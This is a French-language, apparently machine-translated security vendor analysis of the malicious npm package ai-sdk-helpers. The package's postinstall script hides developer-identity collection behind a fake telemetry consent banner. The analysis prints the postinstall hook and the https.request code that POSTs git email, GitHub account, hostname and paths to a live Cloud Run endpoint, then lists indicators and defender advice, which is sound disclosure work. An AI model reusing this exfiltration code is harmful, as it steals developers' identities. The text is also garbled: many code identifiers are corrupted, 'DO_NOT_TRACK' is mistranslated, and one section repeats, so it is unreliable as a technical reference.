ConsentMask, le package npm qui masque la collecte d'identité des développeurs

ConsentMask : un package npm qui masque la collecte d’identité des développeurs par une bannière de consentement à la télémétrie

TL; DR

Un seul package npm, assistants ai-sdk, se présente comme une boîte à outils de production pour le SDK d'IA Vercel, offrant un suivi des coûts, un système de repli du fournisseur et des outils d'aide au streaming.

Son script d'installation s'ouvre sur une bannière de divulgation soignée décrivant diagnostics anonymes, promettant qu'aucun code source, jeton ou identifiant n'est transmis, respectant un DO_NOT_TRACK possibilité de se désinscrire et lien vers une page relative à la politique de télémétrie.

Le même script lit ensuite l'identité git du développeur, la configuration de l'interface de ligne de commande GitHub, le nom d'hôte de la machine, le nom d'utilisateur du système d'exploitation, le répertoire de travail et le fournisseur d'intégration continue.

Ces données sont envoyées au format JSON à un point de terminaison Google Cloud Run, ce qui crée une incohérence manifeste entre la politique de télémétrie déclarée et les champs réellement collectés.

Le paquet a été publié en vingt-deux versions au cours d'une seule rafale de 83 secondes, et le script d'installation est identique octet par octet dans chaque version signalée.

Sept des huit versions examinées par notre pipeline ont été jugées non concluantes par le classificateur ML car le style de la bannière de consentement ressemble à une télémétrie légitime.

Nous classons ai-sdk-helpers comme malveillant, se basant sur la collecte et l'exfiltration de l'identité du développeur lors de l'installation.

Gravité : élevée.

 Anatomie de l'installation

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

post-installation s'exécute automatiquement sur npm installer, avant même que le moindre code annoncé dans le package ne soit importé. Le script scripts/postinstall.js C'est là que se situe tout le comportement lors de l'installation.

Il s'ouvre sur un bloc de commentaires et une notification d'exécution rédigée dans le registre d'un projet open-source soucieux de la protection de la vie privée :

Lors de l'installation d'ai-sdk-helpers, nous effectuons une vérification rapide de la compatibilité de votre environnement et générons un rapport de diagnostic anonyme. Les données sont entièrement anonymes : nous collectons votre plateforme, la version de Node et un hachage unidirectionnel de l'identifiant de votre machine. Aucun code source, jeton ou identifiant n'est transmis.

Il intègre même une porte de désactivation fonctionnelle, le premier code exécutable du fichier :

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Le fait de fixer cette barrière en premier donne au reste un caractère consensuel : un développeur qui définit `D_PAS_DE_TRACTEUR` L'installation se termine silencieusement et le système conclut que le paquet respecte la convention. L'option de désactivation est bien réelle. Pour ceux qui ne l'activent pas, elle empêche la collecte des données décrites ci-dessous, et non pas la collecte plus restreinte de « plateforme, version de Node et hachage unidirectionnel » mentionnée dans la notification.

En dessous de cette porte, le script assemble une charge utile qui va bien au-delà de cette description.

  • *Gt identité.* rrésoudreScmIdentité()` têtes `~.gitconfig`,`~.config/git/config`,et le projet actuel `.il/config`,analyse le `[ser]` ection, et renvoie la configuration commit Courriel. Si aucun fichier de configuration ne renvoie de courriel, le système utilise la méthode `G` par défaut.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,et `EAIL` Variables d'environnement. Une documentation au-dessus de la fonction décrit la lecture comme un moyen de « dédupliquer les installations sur des machines appartenant à la même personne (par exemple, ordinateur portable + CI) » — un objectif déclaré qui nécessite un identifiant stable par développeur, ce qui… commit Fournitures de messagerie.
  • *GCompte tHub.* rrésoudreGitHubIdentity()` têtes `~.config/gh/hosts.yml` et `~.config/gh/hosts.yaml` le fichier de configuration écrit par l'interface de ligne de commande GitHub lorsqu'un développeur s'authentifie et extrait le `u` à l'aide d'une expression régulièreer:` et `eail:` Ce fichier contient également le jeton OAuth GitHub ; l’expression régulière du script cible spécifiquement les lignes « nom d’utilisateur » et « adresse e-mail » et n’extrait pas le jeton. L’affirmation de la bannière d’information « aucun jeton… n’est jamais transmis » est donc littéralement vraie pour ce seul champ, tandis que les identifiants de compte environnants sont lus et envoyés.
  • *Hempreinte digitale st et CI.* le script collecte ensuite `o.hostname()`,`o.userInfo().username`,la version de Node, la plateforme et l'architecture, `pprocessus.cwd()`,et une étiquette de fournisseur d'intégration continue (CI) déterminée par la vérification des variables d'environnement de huit fournisseurs (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite et deux options génériques d'intégration continue). La liste des fournisseurs correspond à un inventaire des environnements d'exécution prévus pour le script : shells interactifs et processus de compilation automatisés. pipelines pareil.

Tous ces éléments sont regroupés en un seul `dagnostiques objet, avec les champs par développeur rassemblés sous un `ientité` ey et les données hôtes sous `rntime` et `cntext` yeux, puis sérialisés et transmis :

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

La réponse est ignorée et toutes les erreurs sont masquées ; un commentaire précise que « la télémétrie ne doit jamais perturber l’installation ». Le nom d’hôte du point de terminaison encode un service Google Cloud Run dans le format `e`.corde-ouest1` région.

L'écart est révélateur. La bannière mentionne trois catégories de données : la plateforme, la version de Node et le hachage de l'identifiant machine. La charge utile contient le véritable dépôt Git du développeur. commit leur adresse électronique, leur nom d'utilisateur et leur adresse électronique GitHub, le nom d'hôte et le nom de compte de leur système d'exploitation, le chemin du projet et leur environnement d'intégration continue. Les champs qui identifient un *prson et leurs comptes* concernant précisément les champs que la déclaration omet.

Le fichier README renforce ce point de vue depuis l'autre camp. Sa section « Télémétrie » réitère l'affirmation d'anonymat et associe le mot « D »._PAS_DE_TRACTEUR` o `cnsoledonottrack.com`,la véritable page communautaire qui documente la convention de désinscription — reprenant une pratique reconnue en matière de confidentialité standard pour que l'avis paraisse banal.

Forum

Il s'agit d'un produit unique, à l'historique de publication très court et très dense. Aucune campagne de plusieurs semaines n'est à retracer : l'ensemble des versions a été diffusé à la chaîne.

Quand (UTC)Espaces
2026-06-03 20:31:20 Première version (0.1.0) publié sur npm.
2026-06-03 20:31:20 – 20:32:43 Les 22 versions (0.1.0 à travers 1.4.2) publié en une rafale automatisée de 83 secondes.
2026-06-04 Huit versions ont été signalées par des signaux de détection ; une analyse manuelle confirme la collecte et l’exfiltration d’identité lors de l’installation. Le paquet était toujours disponible sur npm au moment de l’analyse.

La fenêtre de 83 secondes sur 22 versions sémantiques est en elle-même un indicateur comportemental : l’échelle des versions (`01.0',`01.1',… `14.2`)Présente l'interface d'un projet activement maintenu, avec un historique des versions, générée en une seule exécution de script. Le script d'installation reste inchangé tout au long de cette hiérarchie — voir ci-dessous.

Indicateurs de compromis

La charge utile d'installation est identique pour toutes les versions publiées. Un `dff` f `sripts/postinstall.js` etween version `02.1 ` nd version `14.2 ` et ne renvoie aucune différence ; le comportement est une empreinte digitale fixe, et non une charge utile évolutive.

Réseau

La fenêtre de 83 secondes sur 22 versions sémantiques est en elle-même un indicateur comportemental : l’échelle des versions (`01.0',`01.1',… `14.2`)Présente l'interface d'un projet activement maintenu, avec un historique des versions, générée en une seule exécution de script. Le script d'installation reste inchangé tout au long de cette hiérarchie — voir ci-dessous.

Indicateurs de compromis

La charge utile d'installation est identique pour toutes les versions publiées. Un `dff` f `sripts/postinstall.js` etween version `02.1 ` nd version `14.2 ` et ne renvoie aucune différence ; le comportement est une empreinte digitale fixe, et non une charge utile évolutive.

Réseau

IndicateurRôle
npm-package-logger-228835561205.europe-west1.run.app Point de terminaison d'exfiltration recevant des requêtes HTTPS POST avec des données JSON. Hébergé sur Google Cloud Run. europe-west1 région.

Infrastructure leurre

IndicateurRôle
ai-sdk.guide Page d'accueil du package et site web en ligne soutenant l'identité de l'auteur du « Guide du SDK IA ».
ai-sdk.guide/telemetry URL de la politique de télémétrie mentionnée dans l'avis de divulgation lors de l'installation.
hello@ai-sdk.guide Courriel de l'auteur déclaré dans package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Dépôt source déclaré par le paquet.

Fichiers lus lors de l'installation

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` E-mail
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`

Signatures comportementales

  • – m `pstinstall` ook invoquant un script Node intégré
  • – porte de désactivation (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)présentée comme une fonctionnalité de confidentialité, avant la collecte d'identité
  • – Requête HTTPS POST tbound d'un objet JSON contenant l'adresse e-mail Git, l'identité GitHub, le nom d'hôte, le nom d'utilisateur du système d'exploitation, le répertoire de travail courant et l'étiquette CI
  • – script d'installation identique pour toutes les versions publiées rapidement

 Attribution et comportement observé
Nous n'attribuons rien au-delà de ce qu'enregistrent les métadonnées du paquet et du registre.

Le responsable officiel de la maintenance npm est le compte `aielsimon`,avec l'adresse `aiel@vigilance.sécurité`.Le registre indique que cette adresse e-mail et l'identité de contrôle de version du compte ne sont pas vérifiées. Le `pckage.json`,séparément, présente l'auteur comme « Guide du SDK d'IA »bonjour@ai-sdk.guide>`”avec une page d'accueil de `a-sdk.guide` et un dépôt source sous un `gorganisation thub.com/ai-sdk-guide. Domaine de messagerie du compte de publication (« vigilance.security »)et l'identité de l'auteur au sein du paquet (`a-sdk.guide`)sont des domaines différents.

Le `a-sdk.guide` ite est en direct et répond, et le `/électricité ath résout le problème : l’identité leurre est étayée par une présence web accessible plutôt que par un lien mort, ce qui renforce la crédibilité du cadrage du paquet.

**Fonctionnalité observée.** Lors de l'installation, le paquet lit l'identité du développeur et les fichiers de configuration de compte, identifie l'hôte et l'environnement d'intégration continue, puis transmet le résultat à un point de terminaison contrôlé par l'opérateur, tout en affichant une notification décrivant un ensemble de données plus restreint et anonymisé. Nous décrivons ce comportement sans en préciser la raison. Les utilisateurs évaluant le paquet — y compris toute personne reconnaissant l'identité de l'éditeur — doivent tenir compte de l'écart constaté entre les flux de données déclarés et les flux réels.

Impact, tendances et orientations pour les défenseurs

Qui est exposé ? Quiconque installe assistants ai-sdk — directement ou par dépendance transitive — exécute la collecte sur cette machine. Car le déclencheur est post-installationLe code de la bibliothèque annoncée n'a jamais besoin d'être importé pour que le flux de données s'effectue ; l'installation seule suffit. Les environnements les plus pertinents sont les postes de travail des développeurs disposant d'une identité Git configurée et d'une interface de ligne de commande GitHub authentifiée, ainsi que les exécuteurs d'intégration continue (CI), où la détection du fournisseur CI par le script indique que la collection est censée s'exécuter dans un environnement de compilation. pipelineainsi que sur les ordinateurs portables.

Ce que cela révèle. Il ne s'agit pas de secrets d'application dans le cas général — la charge utile est centrée sur identité: le développeur commit L'adresse e-mail, le nom et l'adresse e-mail de leur compte GitHub, le nom de la machine et du compte, ainsi que le chemin du projet. C'est une pré-configuration.cisCette carte indique qui a installé le paquet, sur quelle machine, dans quel dépôt et sous quel système d'intégration continue. Pour une organisation, quelques enregistrements de ce type, pris ensemble, permettraient d'identifier les ingénieurs et les systèmes de compilation ayant utilisé la dépendance ; une étape utile pour des actions ultérieures plus ciblées, même si le comportement de ce paquet se limite à la collecte et à la transmission.

La tendance : la télémétrie comme couverture. Les outils de développement légitimes collectent des données de diagnostic d'installation anonymisées, et les conventions pour le faire de manière respectueuse (un avis de divulgation, un NE PAS SUIVRE L'honneur, une option de désabonnement, une URL de politique de confidentialité — sont des notions bien connues. assistants ai-sdk Ce package reproduit fidèlement ces quatre conventions et les utilise comme interface pour la collecte d'informations d'identité. La présence d'une bannière de consentement, d'une option de désinscription fonctionnelle ou d'un lien vers la politique de confidentialité ne garantit pas la fiabilité d'un package ; ces mécanismes sont faciles à imiter. Seul un contrôle fiable permet de vérifier ce que le code lit réellement et où il envoie les données.

Cet emballage a également un impact mesurable sur le tri automatisé. Dans toutes les versions, notre pipeline Après examen, les commentaires en langage clair du script d'installation, les noms de champs structurés et le mécanisme de désactivation classique ont été considérés comme des données de télémétrie ordinaires : sept des huit ont été validés. peu concluant du classificateur ML plutôt que malveillant. Le signal qui résout l'ambiguïté ne se trouve pas dans le texte, mais dans les fichiers spécifiques que le script ouvre (~ / .gitconfig, ~/.config/gh/hosts.yml) et la destination à laquelle elle est envoyée. Un examinateur, automatisé ou humain, qui lit la déclaration et s'arrête là tirera une conclusion erronée ; la détermination doit se fonder sur les faits relatifs au flux de données.

Conseils aux défenseurs :

  • Installation avec les scripts désactivés par défaut — npm install --ignore-scripts, ou définir ignorer-scripts=true in .npmrc et exécuter explicitement les étapes de compilation validées. Cela neutralise post-installation-Collecte déclenchée pour tous.
  • Ne considérez pas les options de désabonnement comme des signaux de confiance. NE PAS SUIVRE Un lien de vérification ou de « politique de télémétrie » ne vous renseigne en rien sur les données collectées par un script lorsque la barrière n'est pas configurée.
  • Lisez attentivement le guide d'installation avant d'adopter les packages d'assistance de l'écosystème d'IA. L'environnement du SDK d'IA Vercel est un marché en constante évolution et très concurrentiel ; post-installation qui touche ~ / .gitconfig or ~/.config/gh/ Il s'agit d'un signal clair, indépendamment de la formulation des commentaires environnants.
  • Surveiller le trafic sortant lors de la compilation. Une requête POST HTTPS sortante pendant npm installer, en particulier vers un point de terminaison de fonction cloud nouvellement provisionné, est observable au niveau du réseau et constitue un point de détection important pour les environnements CI.
  • Attention aux versions compressées ! Un paquet dont l’historique sémantique complet des versions s’affiche en quelques secondes, avec un script d’installation immuable, présente un historique de maintenance artificiel.
sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Obtenez votre compte gratuit.
Aucune carte de crédit requise.

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni